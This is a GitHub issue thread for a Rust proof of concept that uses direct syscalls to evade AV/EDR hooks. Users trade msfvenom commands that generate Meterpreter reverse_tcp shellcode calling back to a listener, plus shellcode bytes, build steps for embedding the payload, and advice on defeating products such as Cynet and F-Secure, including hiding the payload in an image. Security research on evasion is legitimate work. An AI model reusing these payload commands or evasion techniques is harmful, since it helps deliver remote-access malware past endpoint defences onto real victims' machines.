Chalkybot / Syscall-Winapi-Rust

A demo of how to utilize syscalls in Rust to avoid EDR hooks.
4 stars 1 forks source link

shellcode #1

Closed sec13b closed 2 months ago

sec13b commented 3 months ago

only with metasploit shellcode , can be used. and can bypass any edr or only fsecure?

Chalkybot commented 3 months ago

It’s worked for everything I tried it against. Maybe the most crucial testing I’m missing is Elasticsearch’s XDR. Works with any shellcode, the current version of the project only works on win10 due to changes done in windows 11. It’s possible to port it to win11 but I haven’t done so.

sec13b commented 2 months ago

i want test it on win server , edr trendmicro. if you use cobalt strike , this have more null byte, i will check with metasploit i will keep update

Chalkybot commented 2 months ago

The byte size of the shellcode doesn’t matter. This should work for any payload :) You just change the size in payload variable and the build script will encrypt the payload properly on build. do keep me updated!

sec13b commented 2 months ago

I try both CS ( stage and stageless payload generator) , it does nothing.

About the meterpreter shell :

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.131.128 LPORT=4444 --encoder x64/xor_dynamic -i 9 -f csharp 
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.131.128 LPORT=4444 --encoder x86/shikata_ga_nai  -i 9 -f csharp 
msfvenom --arch x86 --platform windows --payload windows/meterpreter/reverse_tcp LHOST=192.168.131.128 LPORT=4444 --bad-chars “\x00” --encoder x64/xor_dynamic --iterations 10 -f csharp 
msfvenom --arch x86 --platform windows --payload windows/meterpreter/reverse_tcp LHOST=192.168.131.128 LPORT=4444 --bad-chars “\x00” --encoder x86/shikata_ga_nai --iterations 10 -f csharp 

Or just simple ?

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.131.128 LPORT=4444  -f csharp 

No offense. can you please wrote which msfvenom command have you used.

Thank you

Chalkybot commented 2 months ago

Hey, This is rust, so the format needs to be rust. (-f rust) iirc I did used your last command with the rust flag instead of csharp. Make sure you paste the output in the build.rs file’s const DATA variable. Nb! Build the file with

cargo build —release

sec13b commented 2 months ago

thank you a lot.

sec13b commented 2 months ago
 Compiling direct-syscalls-with-rust v0.1.0 (/root/edr/Syscall-Winapi-Rust)
error[E0308]: mismatched types
  --> build.rs:10:25
   |
10 |   const DATA: [u8; 511] = [0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,
   |  __________________---____^
   | |                  |
   | |                  help: consider specifying the actual array length: `510`
11 | | 0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,
12 | | 0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,
13 | | 0x52,0x20,0x4d,0x31,0xc9,0x48,0x0f,0xb7,0x4a,0x4a,0x48,0x8b,
...  |
51 | | 0x29,0xc6,0x48,0x85,0xf6,0x75,0xb4,0x41,0xff,0xe7,0x58,0x6a,
52 | | 0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5];
   | |_______________________________________________________^ expected an array with a fixed size of 511 elements, found one with 510 elements

For more information about this error, try `rustc --explain E0308`.
error: could not compile `direct-syscalls-with-rust` (build script) due to 1 previous error
warning: build failed, waiting for other jobs to finish...
root@homeserver:~/edr/Syscall-Winapi-Rust#

rustc --explain E0308


Expected type did not match the received type.

Erroneous code examples:

fn plus_one(x: i32) -> i32 {
    x + 1
}

plus_one("Not a number");
//       ^^^^^^^^^^^^^^ expected `i32`, found `&str`

if "Not a bool" {
// ^^^^^^^^^^^^ expected `bool`, found `&str`
}

let x: f32 = "Not a float";
//     ---   ^^^^^^^^^^^^^ expected `f32`, found `&str`
//     |
//     expected due to this

This error occurs when an expression was used in a place where the compiler expected an expression of a different type. It can occur in
several cases, the most common being when calling a function and passing an argument which has a different type than the matching type in
the function declaration.
sec13b commented 2 months ago

apt-get install gcc-mingw-w64-x86-64 -y rustup target add x86_64-pc-windows-gnu

 cargo build --target x86_64-pc-windows-gnu

   Compiling libc v0.2.155
   Compiling proc-macro2 v1.0.86
   Compiling libaes v0.7.0
   Compiling windows_x86_64_gnu v0.52.5
   Compiling windows-targets v0.52.5
   Compiling windows-result v0.1.2
   Compiling cc v1.0.99
   Compiling quote v1.0.36
   Compiling getrandom v0.2.15
   Compiling rand_core v0.6.4
   Compiling syn v2.0.67
   Compiling rand_chacha v0.3.1
   Compiling rand v0.8.5
   Compiling direct-syscalls-with-rust v0.1.0 (/root/edr/Syscall-Winapi-Rust)
   Compiling windows-implement v0.56.0
   Compiling windows-interface v0.56.0
   Compiling windows-core v0.56.0
   Compiling windows v0.56.0
    Finished dev [unoptimized + debuginfo] target(s) in 10.60s

hope to work.

Chalkybot commented 2 months ago

You got it to compile succesfully? I have only compiled this on windows due to the nature of the code, I am unsure but hopeful that crossplatform compilation will work.

sec13b commented 2 months ago

window version matters when compiling ?

Chalkybot commented 2 months ago

Technically it might matter due to FFI bindings. I got a working version on win10 (the binary also only works on win10). Newest build.

sec13b commented 2 months ago

and your tests have been done only on windows 10?

Chalkybot commented 2 months ago

Yes, due to the underlying winapi changes done in win11, I would need to fork this project to make it work on win11.

sec13b commented 2 months ago

OK. I nowi need create a sandbox wind10 , to compile with your indications .I will keep you update , soon

sec13b commented 2 months ago

test with a user without administrator right. create on windows 10

image

-] Beginning to re-construct code.
+] Reconstruction is done.
!] Failure acquiring handle!
-> NTSTATUS 0xc0000003
-] Attempting to acquire SeDebugPrivilege.
-] Failure acquiring SeDebugPrivilege!
-> NTSTATUS: 0xc0000003
!] Failure acquiring handle!
-> NTSTATUS 0xc0000003

image

sec13b commented 2 months ago

thank you

sec13b commented 2 months ago

image image image [-] Beginning to re-construct code. [+] Reconstruction is done.

sec13b commented 2 months ago

i think is more better to use indirect syscalls to avoid hooks :D

Chalkybot commented 2 months ago

You need to run this as an administrator to attach to most AV/EDR solutions. SeDebugPrivilege does not work without this, this is obvious. In general you can very rarely attach to other processes without admin permissions. Indirect syscalls wouldn't make any difference here? In general, they're easier to hook too. I feel like you're misunderstanding how syscalls work.

As it currently stands, in my understanding antiviruses & EDR's cannot hook direct syscalls due to PatchGuard. There are ways around this, I'm aware, but most solutions do not go this route. It's in bad taste and a "hack". I'm fairly sure the software is getting caught by cynet due to the payload reconstruction part as it's suspicious decrypt code from different EXE sections. This is a general "issue", there are ways around this but I chose not to explore those, as I was mainly interested in implementing the syscalls. You can get around this by embedding the payload in a picture or some other similar methods.

The NTSTATUS 0x:5 error makes me think that the process you're trying to hook is a protected process. Have you verified that it's a normal process? You cannot hook PP(L)s due to the built in safety mechanisms of Windows. This PoC does not aim to "break" Windows. This PoC mainly works because most AV/EDR solutions default to fingerprinting malicious snippets, but rust code is not very used in malware so it "evades" that. It evades hooks due to the direct syscalls, so it's also able to "skip" on a lot of dynamic analysis's strong points.

Furthermore, my demo hooks to the F-secure process purely to show how it's able to attach to what should be some of the most "actively monitored" processes and avoid detections.

sec13b commented 2 months ago

The user have admin right ., cynet xdr didn't delete the exe. I think i need read more about , i scan by add DLL (ntdll.dll, kernel32.dll) and function way to discovery if it is hooked by EDR/XDR or not.

Thank you .

Chalkybot commented 2 months ago

Direct syscall's avoid these hooks as they do not use ntdll. I highly recommend Windows Internals! Great book.